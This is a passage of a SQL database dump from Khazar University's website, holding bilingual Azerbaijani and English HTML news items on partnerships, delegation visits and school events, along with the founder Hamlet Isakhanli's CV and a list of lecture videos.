proqramı</a></strong></div><div><br></div><div><strong></strong>Elektronika, Telekommunikasiya və Radio mühəndisliyinin tədrisi&nbsp; tələbələri qüsursuz peşəkar təhsillə təmin etmək üçün nəzərdə tutulub. Əsas elmlərlə əlaqəli fənləri tədrisindən sonra tələbələrə ixtisasla bağli dərslər təklif olunur. Dərəcə əldə etmək üçün tələbələrə praktiki təcrübə və xüsusi olaraq yay təcrübəsi götürmək tələb olunur. Seçmə fənlərin təklifi &nbsp;tələbələrə xüsusi sahələrdə öz biliklərini inkişaf etdirməyə imkan verir.&nbsp;&nbsp;</div><div>Qeyd: Fakültə digər alternativ fənlər&nbsp; təklif edə bilər&nbsp;</div>  <br></div>'),(2439,1476,'en','Khazar University Expands International Cooperation','On October 25, 2016, Khazar University and the University of Tartu in Estonia entered into an interuniversity agreement to facilitate the mobility of learners...','<p>On October 25, 2016, Khazar University and the University of\r\nTartu in Estonia entered into an interuniversity agreement to facilitate the\r\nmobility of learners and staff in political science and international\r\nrelations. The agreement has been reached in the context of the Erasmus+\r\nprogramme Key Action 1.</p>'),(2441,1478,'az','“Dünya” məktəbi ilə Misirin Mədəniyyət Mərkəzi arasında əməkdaşlığa start verildi','2016-cı il oktyabrin 20-də “Dünya” məktəbi ilə Misirin Azərbaycandakı səfirliyinin Mədəniyyət Mərkəzi arasında qarşılıqlı əməkdaşlığa start verildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrin 20-də “Dünya” məktəbi\r\nilə Misirin Azərbaycandakı səfirliyinin Mədəniyyət Mərkəzi arasında qarşılıqlı əməkdaşlığa\r\nstart verildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">“Misir Mədəniyyət Mərkəzi hər zaman “Dünya”\r\nməktəbi ilə təhsil, mədəniyyət və bir çox sahələrdə əməkdaşlıq qurmağa hazırdır\r\nvə bu işdə köməyini əsirgəməyəcək,” – bu sözləri Misirin Mədəniyyət attaşesi\r\nƏhməd Sami məktəb rəhbərliyi ilə görüşü zamanı bildirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Azərbaycanla Misir mədəniyyəti arasında\r\nolan müştərək köklərdən, dinimizdən bəhs edən diplomat, həmçinin, “Dünya” məktəbində\r\nərəb dilinin tədrisi, öyrənilməsi üçün Mədəniyyət Mərkəzinin hər bir şərait\r\nyaratmağa –Misirdən dilçi-müəllimlər, mütəxəssislər dəvət etməyə hazır olduğunu\r\nvurğuladı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Görüş zamanı yaxın günlərdə məktəbdə hər\r\niki ölkənin mədəni, tarixi əlaqələrinə və Misir mədəniyyətinə həsr olunmuş\r\nböyük tədbir – “Misir günü” keçirilməsi qərara alındı.</p>'),(1892,1164,'az','“Təbii sərvətlərdən davamlı inkişafa doğru” mövzusunda təlim başa çatdı','2016-cı il mayın 21-dən 28-dək Xəzər Universitetində fəaliyyət göstərən Avrasiya Bilik Mərkəzinin “Təbii sərvətlərdən davamlı inkişafa doğru” mövzusunda təşkil etdiyi təlim uğurla başa çatdı.','<p>2016-cı il mayın 21-dən 28-dək Xəzər Universitetində fəaliyyət göstərən\r\nAvrasiya Bilik Mərkəzinin “Təbii sərvətlərdən davamlı inkişafa doğru”\r\nmövzusunda təşkil etdiyi təlim uğurla başa çatdı.</p>\r\n<p>Yeddi ölkənin –Azərbaycan, Gürcüstan, Ukrayna, Qazaxıstan, Qırğızıstan,\r\nMonqolustan və Tacikistanın elmi-tədqiqat institut və universitetləri, dövlət\r\nqurumları, media mənsublarının və eləcə də, vətəndaş cəmiyyəti təmsilçilərinin\r\n25 nümayəndəsinin iştirak etdiyi təlim iştirakçılar tərəfindən böyük diqqət və\r\nmaraqla qarşılandı. Təlimin sonuncu günü iştirakçılara xüsusi sertifikatlar və\r\nXəzər Universitetinin hədiyyələri təqdim olundu. </p>\r\n<p>&nbsp;</p>'),(1643,1014,'en','Delegation from Azarbaijan Shahid Madani University Visits Khazar University','On April 27-28, 2016, a delegation from Azarbaijan Shahid Madani University was invited by Khazar University to Azerbaijan to discuss cooperation between the two universities.','<p>On April 27-28,\r\n2016, a delegation from Azarbaijan Shahid Madani University was invited by\r\nKhazar University to Azerbaijan to discuss cooperation between the two\r\nuniversities. </p>\r\n<p>The delegation\r\nfrom Azarbaijan Shahid Madani University included Professor Hasan Valizadeh,\r\nRector; Dr. Ali Ajami, Vice-Rector for Research; and Dr. Mansour Imanpour,\r\nVice-Rector for Education. Azarbaijan Shahid Madani University is a public university located near Tabriz, Iran. It has\r\nseven schools and provides education at bachelor,\r\nmaster, and doctoral levels. </p>\r\n<p>Khazar University\r\nhosted the delegation during the first day of the visit, April 27. A series of\r\nmeetings were held at both Khazar University and its affiliate, Dunya School.\r\nThe guests from Tabriz met with Professor Hamlet Isaxanli, the Founder of\r\nKhazar University and Chairman of the Board of Directors and Trustees, as well\r\nas with Dr. Hassan Niknafs, President of Khazar University. </p>\r\n<p>A presentation\r\nabout Azarbaijan Shahid Madani University was delivered for the university\r\nmanagement, deans of the schools, and heads of academic and administrative\r\ndepartments. Members of the delegation also met with Iranian students who study\r\nat Khazar University. </p>\r\n<p>A cultural program\r\nwas organized for the members of the delegation in the evening. </p>\r\n<p>On the second day\r\nof their visit, members of the delegation met with representatives of Baku\r\nState University.&nbsp;</p>'),(1644,1015,'az','H.Əliyev adına liseydə görüş keçirildi','2016-cı il aprelin 28-də H. Əliyev adına liseydə həmin liseyin 11-ci sinif şagirdləri və liseyin kollektivi ilə Xəzər Universiteti rəhbərliyinin görüşü keçirildi. Liseyin direktoru Ümid Babaşov girişdə universiteti rəhbərliyini səmimi qarşıladı, lisey haqqında qısa məlumat verdi və salona toplaşan şagirdlərə Xəzər Universiteti rəhbərliyini təqdim etdi.','<p>2016-cı il aprelin 28-də\r\nH. Əliyev adına liseydə həmin liseyin 11-ci sinif şagirdləri və liseyin\r\nkollektivi ilə Xəzər Universiteti rəhbərliyinin görüşü keçirildi. Liseyin\r\ndirektoru Ümid Babaşov girişdə universiteti rəhbərliyini səmimi qarşıladı,\r\nlisey haqqında qısa məlumat verdi və salona toplaşan şagirdlərə Xəzər\r\nUniversiteti rəhbərliyini təqdim etdi. </p>\r\n<p>Xəzər Universitetinin rektoru Dr.\r\nHassan Niknafs, Akademik işlər üzrə prorektor professor Məhəmməd Nuriyev,\r\nİqtisadiyyat və menecment fakültəsinin dekanı İnqilab Əhmədov, İctimai əlaqələr\r\nvə media üzrə direktor Əlövsət Əmirbəyli, H.Əliyev adına məktəbin məzunları,\r\nuniversitetin tələbələri Ülviyyə Qarayeva, Nurlan Əliyev, Usama Ahmet Khand\r\n(Pakistan), Tendai Samantha Shereni (Zimbabve), Yanik Akbor (Kamerun) və digərləi\r\ngörüşdə iştirak edirdilər. Universitetin&nbsp;rəhbərliyi və tələbələri şagirdləri\r\nmaraqlandıran çoxsaylı sualları cavablandırdılar. </p>\r\n<p>Liseyin müdiri Ümid Babaşov maraqlı\r\ngörüş üçün məktəbin kollektivi adından universitet rəhbərliyinə təşəkkür etdi. </p>\r\n<p>Görüşdən sonra liseyin şagirdləri\r\nkoridorda universitet rəhbərliyi ilə şəxsən görüşüb onları maraqlandıran bütün\r\nsuallarına cavab aldılar. &nbsp; &nbsp;</p>'),(1645,1015,'en','Meeting in Heydar Aliyev Lyceum','On April 28, 2016, Khazar University administration held a meeting with 11th grade pupils and teachers at H.Aliyev Lyceum. Umid Babashov, Lyceum Director, met the Khazar delegation at the school entrance, gave them information about the school and then introduced the administrative members to students gathered in the school auditorium.','<p>On April 28, 2016,\r\nKhazar University administration held a meeting with 11<sup>th</sup> grade\r\npupils and teachers at H.Aliyev Lyceum. Umid Babashov, Lyceum Director, met the\r\nKhazar delegation at the school entrance, gave them information about the\r\nschool and then introduced the administrative members to students gathered in\r\nthe school auditorium. </p>\r\n<p>The delegation\r\nincluded Dr. Hassan Niknafs, President of Khazar University; Prof. Mahammad\r\nNuriyev, Vice President for Academic Affairs; Prof. Ingilab Ahmadov, Dean of\r\nthe School of Economics and Management; Alovsat Amirbeyli, Director of Public\r\nRelations and Media; graduates from the H.Aliyev Lyceum, university students\r\nUlviyya Garayeva and Nurlan Aliyev; international students Usama Ahmet Khand\r\n(Pakistan), Tendai Samantha Shereni (Zibabwe) and Yannik Akbor (Cameroon); and\r\nothers. The university administrators and students answered pupils’ questions. </p>\r\n<p>Umid Babashov,\r\nLyceum Director, thanked the delegation for the interesting meeting on behalf\r\nof the Lyceum. </p>\r\n<p>After the meeting,\r\nlyceum pupils also had a chance to personally meet with delegation members in\r\nthe hallway and ask them questions.&nbsp;</p>'),(1323,840,'en','Graduates\' oath','Graduates\' oath','<p style=\"text-align:center\">I swear to apply all my knowledge and skills gained at Khazar University for the benefit of my family,</p><p style=\"text-align:center\">my people and my country! I swear always to honor&nbsp;Khazar University!</p>'),(1324,841,'en',' Logo',' Logo','<a href=\"http://www.khazar.org/files/admin/logo.pdf\"></a><a href=\"http://www.khazar.org/files/letters/Loqo.png\"><img src=\"/files/letters/Loqo.png\" style=\"width:510px;height:506px\" border:1px=\"\"></a>'),(1325,841,'az','Logo','Logo','<a href=\"http://www.khazar.org/files/admin/logo.pdf\"></a><a href=\"http://www.khazar.org/files/letters/Loqo.png\"><img src=\"/files/letters/Loqo.png\" style=\"width:510px;height:506px\" border:1px=\"\"></a>'),(1326,842,'az','Bayraq','Bayraq','<a href=\"http://www.khazar.org/files/bayraq%20xezer.jpg\"></a><a href=\"http://www.khazar.org/files/admin/xazar_bayraq.pdf\"><img src=\"/files/admin/khazar_flag1.jpg\" style=\"vertical-align:baseline;width:500px;height:299px\"></a>'),(1327,842,'en','Flag','Flag','<a href=\"http://www.khazar.org/files/bayraq%20xezer.jpg\"></a><a href=\"http://www.khazar.org/files/admin/xazar_bayraq.pdf\"><img src=\"/files/admin/khazar_flag1.jpg\" style=\"vertical-align:baseline;width:500px;height:299px\"></a>'),(1328,843,'en','Founder','Founder','<p><img src=\"/files/image/13_05_23_261.jpg\" style=\"width:250px;height:151px;margin:7px;vertical-align:middle\"><br></p><br><h3><strong><a href=\"http://www.khazar.org/files/founder/Hamlet_Isaxanli_CV.pdf\">Hamlet Isakhanli</a></strong><br></h3><p>See Hamlet Isakhanli\'s personal site at&nbsp;<a href=\"http://www.hisaxanli.org/\">http://www.hisaxanli.org/</a>&nbsp;<br></p><p>For a complete bibliography of Dr. Isakhanli\'s writings as well as works written by others about him, please see&nbsp;<a href=\"http://www.khazar.org/files/pdf/Biblioqrafiya_Hamlet_edited_by_Martha.pdf\">Scholar, Founder, Poet:&nbsp;Bibliography</a>.  <br></p><p>HAMLET ISAKHANLI (Hamlet Isayev)&nbsp;(Also H.Issakhanly, H.Isakhanly, H.Isakhanli, H.A.Isayev, G.A.Isayev, G.A.Isaev, due to differences in transliterations)&nbsp;  <br></p><p><strong><br></strong></p><h3><strong>Contact</strong></h3><hr><p>41 Mehseti Street</p><p>Baku AZ1096, Azerbaijan</p><p><strong>Phone: </strong>(994 12) 422 52&nbsp;53</p><p><strong>Fax: </strong>(994 12) 498&nbsp;93&nbsp;79</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:hamlet@khazar.org\">hamlet@khazar.org</a><a href=\"http://www.hisaxanli.org/\"></a></p><p><a href=\"http://www.khazar.org/s339/\">www.khazar.org</a></p><p>&nbsp;</p><h3><strong>Education</strong></h3><hr><p>1954 - 1965: Elementary, secondary and high school: Gold Medal for highest achievement, Republic of Georgia</p><p>1965 - 1970: Combined B.S. and M.S. Program in Mathematics, Honors Diploma; Department of &nbsp;Mathematics and Mechanics, Azerbaijan State University, Baku</p><p>1970 - 1973: PhD in Mathematics, Institute of Mathematics, Academy of Science of Azerbaijan and Faculty of Mathematics and Mechanics, and Lomonosov Moscow State University</p><p>1983: &nbsp;D.S. (Doctor of Science) in Mathematics, Soviet Academy of Science, V.A. Steklov Institute of Mathematics, Moscow</p><p>&nbsp;</p><h3><strong>Professional experience</strong></h3><hr><p>1973 - 1988: Senior Scientist, Institute of Mathematics and Mechanics, Azerbaijan Academy of Sciences, Baku</p><p>1975 - 1976: Research Fellow, Lomonosov Moscow State University</p><p>1979 - 1981: Associate Professor, Azerbaijan State University</p><p>1979 - present: Visiting Professor and conference participant at various universities and research centers around the world</p><p>1981- 1982: Research Fellow, Soviet Academy of Sciences, V.A. Steklov Institute of Mathematics, Moscow</p><p>1988 - 1990: Chairman, Department of Mathematics, Leningrad Institute for Economics and Finance, Baku Campus</p><p>1991: &nbsp;Founder, Khazar University, Baku, Azerbaijan</p><p>1991 - 2010: President, Khazar University, Baku, Azerbaijan</p><p>1991 - present: Organizer of a various international symposium and conferences</p><p>1995: &nbsp;Founder, Khazar University Press</p><p>1995 - present: Editor of research periodicals \"Khazar Journal of Humanities and Social Sciences” (Former “Journal of Azerbaijani Studies\"); Editor of \"Khazar View\", a literary and scientific magazine; Founder of “Azerbaijan Archeology” journal.&nbsp;&nbsp;&nbsp;&nbsp; Member of other editorial boards.</p><p>1997 - present : Founder, Khazar University Sport Club, with Football Club in Supreme Division (1999-2004), Basketball Club in Supreme Division (1999 - present), Chess Club (2005), others</p><p>2005: Member, Education Commission under the President of the Republic of Azerbaijan</p><p>2010: Chairman, Board of Directors and Trustees, Khazar University</p><p>2012: Founder,&nbsp;<a href=\"http://eurasia-academy.org/?s=\">Eurasian Academy</a></p><p>2013: Board Member, Eurasia Partnership Foundation</p><p>&nbsp;</p><h3><strong>Publications</strong></h3><hr><p>More than 300 published works: research articles in Mathematics, Education, Humanities and Social Sciences; monographs, textbooks and creative writings in Mathematics, Education, Language and Translations Studies, Poetry. Editor of numerous textbooks, books, dictionaries, transactions of conferences, journals.</p><p>&nbsp;</p><h3><strong>Languages</strong></h3><hr><p>Azeri (native), English (good), Russian (good), Turkish (good), French (elementary)</p><p>&nbsp;</p><h3><strong>Research Interests</strong></h3><hr><p>Mathematics, Education, Literature, History and Culture Studies, Language and Translation Studies</p><p>&nbsp;</p><h3><strong>Recognition and awards received</strong></h3><hr><p>2016 -&nbsp;Zahid Khalilov Prize for scientific and public activities, Baku, Azerbaijan</p><p>2016 -&nbsp;Cultural Medal of Shahriyar, Islamic Republic of Iran  <br></p><p>1976 - 1983: Research articles included into lists of the most outstanding scientific research in the USSR, published annually by the National (Soviet) Academy of Science, Moscow</p><p>1994 - London Debret Encyclopedia \"Who is Who in the Former Soviet Union?\"</p><p>1996 – present: &nbsp;Co-Chair, Council of Azerbaijani University Presidents&nbsp;</p><p>1994 - Y. Mamedaliyev Award, in recognition of contributions to science and education, Baku, Azerbaijan</p><p>1997 – 1999 Board Member, Eurasia Foundation Caucasus, Tbilisi, Georgia</p><p>1998 – 2002: Board Member, Open Society Institute (Soros Foundation), Azerbaijan</p><p>2000 – &nbsp;2007: Association of Azerbaijani Football Federations, Executive Committee Member</p><p>2001 – Member, International Council for Scientific Development – International Academy of Science</p><p>2001 – present: President, Association of Azerbaijani Private Universities</p><p>2004 – “Golden Pen” Award, In recognition of contribution to Poetry and Creative Writing, Baku, Azerbaijan</p><p>2005 - “Samad Vurghun” Award, in recognition of contributions to Education, Science, Azerbaijani Culture and Literature, Baku, Azerbaijan</p><p>2005 - Member, Academy of Pedagogical and Social Sciences, Russia, Moscow</p><p>2008 - First Vice-President, EURAS (Eurasian Universities Union)</p><p>2008 – Honorary Doctor of EuroUniversity, Tallinn, Estonia 2005 – Member, National Education Council under President of Azerbaijan</p><p>2010 – Co-founder and Member, Board of Directors, Karabakh Foundation, USA</p><p>2010 – “<a title=\"Jafar Jabbarly\" href=\"http://en.wikipedia.org/wiki/Jafar_Jabbarly\">Jafar Jabbarly</a>” (Cəfər Cabbarlı) Award, in recognition of&nbsp;contribution to publicity of classic and modern Azerbaijani Poetry, to compile a multi voluminous \"The&nbsp;<a title=\"Azerbaijani language\" href=\"http://en.wikipedia.org/wiki/Azerbaijani_language\">Azerbaijani</a>&nbsp;<a title=\"Love\" href=\"http://en.wikipedia.org/wiki/Love\">Love</a><a title=\"Poetry\" href=\"http://en.wikipedia.org/wiki/Poetry\">Poetry</a>\"</p><p>2010 – National “Khazar” Award, in recognition of contribution to development of Azerbaijani Education and to founding of the University which meets international standards</p><p>And various other awards and recognitions.</p>'),(3117,1841,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursu” nda “Qonaq Mühazirəçilər Seminarları”','24 yanvar 2017-ci il tarixində Dünya Məktəbində “Potensial məktəb direktorları” təlim kursu çərçivəsində “Qonaq mühazirəçilər seminarı” keçirildi. Bu dəfəki seminar Dünya Məktəbinin...','<p>24\r\nyanvar 2017-ci il tarixində Dünya Məktəbində “Potensial məktəb\r\ndirektorları” təlim kursu çərçivəsində “Qonaq mühazirəçilər seminarı”\r\nkeçirildi. Bu dəfəki seminar Dünya Məktəbinin kitabxanasında təşkil olundu.\r\nSeminarın məruzəçi qonağı Xəzər Universitetinin və Dünya Məktəbinin təsisiçisi,\r\nDirketorlar və Qəyyumlar Şurasının sədri Prof. Hamlet İsaxanlı.</p><p>“Uğurlu idarəetmə\r\ntəcrübəsi və liderlik ” mövzusu ilə çıxış edən Prof. İsaxanlı&nbsp; potensial məktəb\r\ndirektorlarına öz idarəçilik təcrübəsindən səmimi nümunələr verdi və liderin şəxsi\r\nkeyfiyyətlərinin əhəmiyyətini vurğuladı. Professor Hamlet İsaxanlı mühazirəsinin\r\nsonunda iştirakçıların suallarına cavab vererek onların xahişi ilə öz\r\nyaradıcılığından seçilmiş şeirlərini də oxudu.&nbsp;</p>'),(3118,1841,'en','Routine Guest Lecture for Potential School Directors','On January 24, 2017, a guest lecture for Potential School Directors was organized in Khazar University’s affiliate Dunya School. The lecture was held at the Dunya School’s Library...','<p style=\"\" margin-top:1.2pt;margin-right:0in;margin-bottom:1.2pt;margin-left:0in\"\"=\"\">On\r\nJanuary 24, 2017, a guest lecture for Potential School Directors was organized\r\nin Khazar University’s affiliate Dunya School.\r\nThe lecture was held at the Dunya School’s Library. The guest lecturer was\r\nProf. Hamlet Isaxanli, the founder of Khazar University and Chairman of its\r\nBoard of Directors and Trustees.</p>\r\n<p style=\"\" margin-top:1.2pt;margin-right:0in;margin-bottom:1.2pt;margin-left:0in\"\"=\"\">In his\r\ntalk entitled “Successful Management Experience and Leadership”, Prof. Isaxanli\r\nshared his experience with the directors and stressed the importance of the\r\nleader’s personal qualities.</p><p style=\"\" margin-top:1.2pt;margin-right:0in;margin-bottom:1.2pt;margin-left:0in\"\"=\"\">Prof. Isaxanli then answered the participants’ questions and read his own selected poems at their request.&nbsp;  <br></p>'),(1329,843,'az','Təsisçi','Təsisçi','<p><img src=\"/files/image/13_05_23_261.jpg\" style=\"width:250px;height:151px;margin:7px;vertical-align:middle\"><br></p><br><h3><strong><a href=\"http://www.khazar.org/files/founder/Hamlet_Isaxanli_CV.pdf\">Hamlet İsaxanlı</a></strong></h3><p>Ətraflı məlumat üçün bax:<strong>&nbsp;</strong><a href=\"http://hisaxanli.org/\">www.hisaxanli.org</a><strong>&nbsp;</strong>  <br></p><p>Alim,Qurucu, Şair:<strong>&nbsp;</strong><a href=\"http://www.khazar.org/files/pdf/Biblioqrafiya_Hamlet_edited_by_Martha.pdf\">Biblioqrafiya</a>  <br></p><p><strong><br></strong></p><h3><strong>Əlaqə:</strong></h3><hr><p>Bakı AZ1096, Azərbaycan</p><p>Məhsəti küç.&nbsp;41</p><p><strong>Тelefоn:</strong> (994 12) 422 52&nbsp;53</p><p><strong>Faks:</strong> (994 12) 498&nbsp;93&nbsp;79</p><p><strong>Е-mail:</strong> <a href=\"mailto:hamlet[at]khazar.org\">hamlet[at]khazar.org</a></p><p><strong><a href=\"http://www.khazar.org\">www.khazar.org</a></strong></p><p><strong><br></strong></p><h3><strong>Təhsil</strong></h3><hr><p>1954-1965: Orta məktəb, Qızıl medal, Gürcüstan</p><p>1965-1970: Fərqlənmə diplоmu, mexanika-riyaziyyat fakultəsi,&nbsp; Azərbaycan Dövlət Universiteti</p><p>1970-1973: Aspirantura, fizika-riyaziyyat elmləri namizədi, Моskva Dövlət Universiteti</p><p>1983: Fizika-riyaziyyat elmləri dоktоru, SSRİ Еlmlər Akademiyası, V.A.Steklоv adına Riyaziyyat İnstitutu, Моskva</p><p><br></p><p><br></p><h3><strong>İş təcrübəsi</strong></h3><hr><p>2013: Avrasiya Əməkdaşlıq Fondunun Şurasının üzvü</p><p>2012: “<a href=\"http://eurasia-academy.org/?s=\">Avrasiya Akademiyası</a>” elm və mədəniyyətin inkişafına kömək ictimai birliyinin təsisçilərindən biri</p><p>2011: Direktorlar və Qəyyumlar Şurasının Sədri, Xəzər Universitəsi</p><p>2006-indiyə qədər:&nbsp;Sədr, Elm və Sənət Məclisi, Bakı, Azərbaycan; həmçinin, protokol redaktoru  <br></p><p>1991-2011:&nbsp;Хəzər Universitəsinin təsisçisi və prezidenti. Bakı, Azərbaycan</p><p>1995: Хəzər Universitəsi Nəşriyyatının təsisçisi</p><p>1995-ci ildən bu günə qədər:&nbsp;“Xəzər Humanitar və sosial elmlər jurnalı” (Keçmiş “Azərbaycan Araşdırmaları Jurnalı”),&nbsp; “Хəzər Хəbər” ədəbi və elmi jurnallarının redaktоru, “Azərbaycan Arxeologiyası” jurnalının təsisçisi, bir sıra jurnalların redaksiya heyətinin üzvü</p><p>1988-1990: Leninqrad İqtisadiyyat və Мaliyyə İnstitutu, Bakı filialı. Riyaziyyat Departmentinin müdiri</p><p>1981-1982: Моskva, SSRİ Еlmlər Akademiyası, V. A. Steklоv adına Riyaziyyat İnstitutu. Еlmi işçi</p><p>1979-1981: Azərbaycan Dövlət Universiteti, dоsent</p><p>1975-1976: Моskva Dövlət Universiteti, elmi işçi</p><p>1973-1988: Azərbaycan Respublikası Еlmlər Akademiyası Riyaziyyat və Мeхanika İnstitutu.&nbsp;Baş elmi işçi</p><p>1991-ci ildən bu günə qədər: Bir sıra beynəlхalq simpоzium və kоnfransların təşkilatçısı</p><p>1979-cu ildən bu günə qədər: Bir sıra хarici universitetlərin və tədqiqat mərkəzlərinin dəvətli prоfessоru və coxsaylı kоnfransların iştirakçısı</p><p>1997-ci ildən indiyə qədər: Хəzər Universitəsi İdman Klubunun (super liqada futbоl klubu - 1999-2004, super liqada basketbоl klubu – 1999-indiyə qədər, şahmat klubu – 2005) təsisçisi</p><h3><br></h3><h3><br><strong>Əsərləri</strong></h3><hr><p>Riyaziyyat, Тəhsil və digər sahələrdə 300-dən artıq elmi məqalə, riyaziyyat üzrə mоnоqrafiya, təhsillə bağlı mоnоqrafiya, dilşünaslıq üzrə dərslik,&nbsp;şeir kitablarının müəllifi. Bir sıra dərsliklərin, kitabların, jurnalların redaktоru və kоnfransların təşkilatçısı</p><h3><br><strong><br></strong></h3><h3><strong>Bildiyi dillər</strong></h3><hr><p>Azərbaycan (ana dili), rus (yaxşı), ingilis (yaxşı), türk (yaxşı), fransız (orta)</p><h3><br></h3><h3><br><strong>Tədqiqat maraqları</strong></h3><hr><p>Riyaziyyat, təhsil, ədəbiyyat, tariх və mədəniyyət, siyasi elmlər, tərcüməşünaslıq</p><h3><strong><br></strong></h3><h3><strong>Təltiflər və mükafatları</strong></h3><div><strong><hr noshade=\"noshade\" style=\"width:100%;height:1px\"></strong></div><p>2016&nbsp;–  Elmi və ictimai fəaliyyətə görə Zahid Xəlilov adına mükafat, Bakı, Azərbaycan  <br></p><p>2016&nbsp;–   Mədəniyyət üzrə Şəhriyar medalı, İran İslam Respublikası  <br></p><p>2010&nbsp;– Qarabağ fondu (ABŞ) (<a href=\"http://www.karabakhfoundation.org\">www.karabakhfoundation.org</a>), Həmtəsisçi və Direktorlar Surasının üzvü</p><p>2010 –  “Cəfər Cabbarlı mükafatı” laureatı. Klassik və çağdaş Azərbaycan poeziyasının təbliğinə, çoxcildli “Azərbaycan Sevgi Poeziyası” kitabının tərtibinə görə</p><p>2010&nbsp;–  Milli \"Xəzər\" mükafatı laureatı - Azərbaycan təhsilinin inkişafındakı xidmətlərinə və&nbsp;beynəlxalq standartlara uyğun ali məktəb qurduğuna görə</p><p>2008 –&nbsp;1-ci Vitse Prezident,&nbsp; Avrasya Universitetlər Birliyi (EURAS)</p><p>2008 – Fəxri doktor, Avro universitet, Tallinn, Estoniya</p><p>2005 – Azərbaycan Respublikasının Prezidenti yanında Тəhsil Kоmissiyasının üzvü</p><p>2005 – «Səməd Vurğun mükafatı» laureatı. Мaarifçilik, Мilli elmimizin tərəqqisi, Azərbaycan mədəniyyəti və ədəbiyyatı qarşısında хidmətlərinə görə</p><p>2005 – Rusiya Pedaqоji və sоsial elmlər Akademiyası (Моskva), həqiqi üzv</p><p>2004 – «Qızıl Qələm» mükafatı laureatı. Pоeziya və bədii- publisistik yazı sahəsində uğurlarına görə</p><p>2001 – Еlmi Тərəqqi üçün Beynəlхalq Şura. Beynəlхalq Еlmlər Akademiyası, həqiqi üzv</p><p>2001 – indiyə qədər - Özəl Universitetlər Assоsiasiyası. Prezident</p><p>2000-2007&nbsp;–  Azərbaycan Futbоl Federasiyası&nbsp;Assоsiasiyası. İcraiyyə Kоmitəsinin üzvü</p><p>1998-2002 – Açıq Cəmiyyət İnstitutu (Sоrоs fоndu), Azərbaycan. İdarə heyətinin üzvü</p><p>1997-  1999&nbsp;–  Avrasiya Qafqaz fоndu. İdarə heyətinin üzvü</p><p>1996 – indiyə qədər - Azərbaycan Universitetləri Rektоrlar Şurası, həmsədr</p><p>1994 – Еlm və təhsil sahəsindəki хidmətlərinə görə Yusif Мəmmədəliyev mükafatı laureatı</p><p>1994 – Lоndоn Debret Еnsiklоpediyası “Who is who in the Former Soviet Union” (Keçmiş Sоvet İttifaqında tanınmış adamlar)</p><p>1976-1983&nbsp;–  Nəşr оlunmuş elmi məqalələri&nbsp;SSRİ&nbsp;Еlmlər Akademiyası tərəfindən hər il nəşr&nbsp;оlunan ən sanballı elmi işlər siyahısına daхil edilmişdir.</p><p>Digər mükafatlar və təltifləri var.</p>'),(1330,844,'az','Videolar','Videolar','<p style=\"font-size:medium\"><strong>2016</strong></p><iframe width=\"480\" height=\"390\" src=\"https://www.youtube.com/embed/d0IVoRzybEo\" frameborder=\"0\"></iframe><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><strong><a href=\"https://youtu.be/p3lU75uSQPQ\">Avropanın\r\ntəşəkkülü və xaç yürüşləri</a>  </strong></p><p style=\"font-size:medium\"><strong><a href=\"https://youtu.be/p9OOzOISobw\">Avropa\r\ntarixi 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://youtu.be/D67ayftRnKY\">Avropa\r\ntarixi 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://youtu.be/1YCB9meovHw\">Avropanın\r\nilk universitetləri- 1</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://youtu.be/fs71ldKBFjY\">Qədim\r\nMisir və Mesopotamiyada həyat və ölüm fəlsəfələri, Gilqameş dastanı</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://youtu.be/EqKgL5lbGB0\">14 cü əsr\r\nAvropa intellektualları</a>  <br></strong></p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=AVHZpW_AF9Y\"><strong>Eurasian Academy Introductory Film</strong></a></p><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/AVHZpW_AF9Y\" frameborder=\"0\"></iframe><span style=\"font-size:medium\"></span><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>Triangle of Science Broadcasts on Public TV</strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=-rFH2icFMTw&amp;index=7&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Qloballaşma və onun nəticələri: Avropa</a><br></strong></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=kMSYfLdaHxI&amp;index=8&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\"><strong>Avropa tarixi</strong></a></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=awwJOW27Yho&amp;index=4&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xFhttps://www.youtube.com/watch?v=rxBPBMBCN1E\"><strong>Saatlar və təqvimlər</strong></a></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=awwJOW27Yho\"><strong>Dünyada mövcud olan təqvimlər</strong></a></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=mumTvnTWdOc\"><strong>Zaman anlayışı</strong></a></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=5VD2nj_HW3c&amp;index=2&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\"><strong>Zaman (Zaman və nisbinlik nəzəriyyəsi)</strong></a></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=IbhcAKikkOw\"><strong>Zaman 2:&nbsp;Psixologika və fizika</strong></a></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=I26wo1IduRE\"><strong>Zaman:&nbsp; Psixologika və fizika</strong></a></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=xvDUdmfpvbU\"><strong>Dil və dil yaranması</strong></a></p><p style=\"font-size:medium\"><strong>Qloballaşma və onun təsirləri</strong></p><p 